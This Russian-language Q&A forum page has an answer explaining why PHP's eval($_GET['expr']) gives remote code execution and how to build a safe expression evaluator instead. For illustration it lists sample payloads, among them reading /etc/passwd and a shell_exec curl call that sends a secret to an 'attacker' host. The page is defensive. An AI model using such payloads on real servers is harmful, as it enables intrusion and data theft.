Разберите уязвимость: в PHP‑коде используется eval($_GET['expr']); Какие риски это несёт и как безопасно реализовать функциональность выполнения выражений, если она действительно нужна

10 Мар в 08:46
43 +1
0
Ответы
1
Коротко: использовать `eval($_GET['expr']);` — это критическая уязвимость. Ниже — почему, какие возможные последствия и как безопасно реализовать требуемую функциональность.
Почему опасно
- Полный удалённый выполнение кода (RCE). Злоумышленник может выполнить любые функции PHP: `system()`, `exec()`, `file_put_contents()`, `unlink()` и т.д.
- Доступ к файлам и данным: чтение/запись конфигураций, кража паролей, подключение к БД и утечка данных.
- Выполнение shell-команд через функции или обратные кавычки — контроль над сервером.
- Обход авторизации и эскалация привилегий (например, изменение сессий).
- DoS: бесконечные циклы, потребление памяти/CPU.
- Логирование/инъекции — выполнение полезной нагрузки через запросы/заголовки.
Примеры атак (иллюстрация, не выполнять):
- `expr=system("id");`
- `expr=file_get_contents("/etc/passwd");`
- `expr=shell_exec("curl http://attacker/steal?data=".urlencode($secret));`
Если функциональность действительно нужна — безопасные подходы
1) Отказаться от eval и реализовать ограниченный парсер (рекомендуемое для арифметики/формул)
- Если нужно вычислять только арифметические выражения (сложение, вычитание, умножение, деление, скобки, числа, функции вроде sin, pow), реализуйте или используйте проверенный парсер:
- Токенизация → shunting-yard → вычисление RPN.
- Жёсткая белая валидация токенов (только цифры, десятичные точки, операторы, скобки, имена заранее разрешённых функций).
- Ограничение длины входа (например `100100100` символов), таймауты и лимиты по памяти.
Пример простого безопасного арифметического вычислителя (очень кратко):
```php
function eval_math($s) {
// разрешённые символы: цифры, точка, пробел, +-*/^() и название функций из $funcs
$s = trim($s);
if (strlen($s) > 200) throw new Exception('Too long');
if (preg_match('/[^0-9+\-*/^().,\sa-zA-Z]/', $s)) throw new Exception('Invalid chars');
// простой вариант: лексер + shunting-yard + вычисление RPN
// (реализация опущена здесь — используйте готовую библиотеку или аккуратно реализуйте)
}
```
Лучше: взять готовую библиотеку для математического парсинга (валидную, поддерживаемую), чем писать с нуля.
2) Использовать sandboxed expression evaluator / библиотеку
- Symfony ExpressionLanguage — для выражений с ограниченным набором переменных/функций (белый список).
- Библиотеки, которые строят AST (например, nikic/php-parser) можно использовать, чтобы пройти AST и разрешать только безопасные узлы (литералы, операции, вызов разрешённых функций). Но это сложно и легко ошибиться.
3) Если нужно исполнять код PHP динамически — изолировать строго
- Запускать в отдельном процессе/контейнере/песочнице с минимальными правами (chroot, unprivileged user, cgroups, seccomp).
- Отключить опасные функции в php.ini (`disable_functions`), настроить `open_basedir`, включить `suhosin`/policy — но это не панацея.
- Ограничить входные данные, применить таймауты и мониторинг; логировать всё.
4) Общие рекомендации безопасности
- Никогда не доверяйте входным данным — для выражений применяйте белый список токенов/функций.
- Ограничьте длину и частоту запросов (rate limit).
- Смотрите на side effects: запретить функции, делающие I/O, сетевые вызовы и т.д.
- Проводите аудит и тестирование (fuzzing) входа.
- Логи и алерты при подозрительных выражениях.
Короткое резюме
- eval($_GET['expr']) = почти гарантированная RCE и утечка данных.
- Для арифметики — используйте парсер/RPN или проверенную библиотеку.
- Для выражений PHP — изоляция в контейнере/песочнице + жёсткие ограничения или лучше вовсе избегать.
- Всегда применяйте белые списки, лимиты и мониторинг.
10 Мар в 08:54
Не можешь разобраться в этой теме?
Обратись за помощью к экспертам
Гарантированные бесплатные доработки в течение 1 года
Быстрое выполнение от 2 часов
Проверка работы на плагиат
Поможем написать учебную работу
Прямой эфир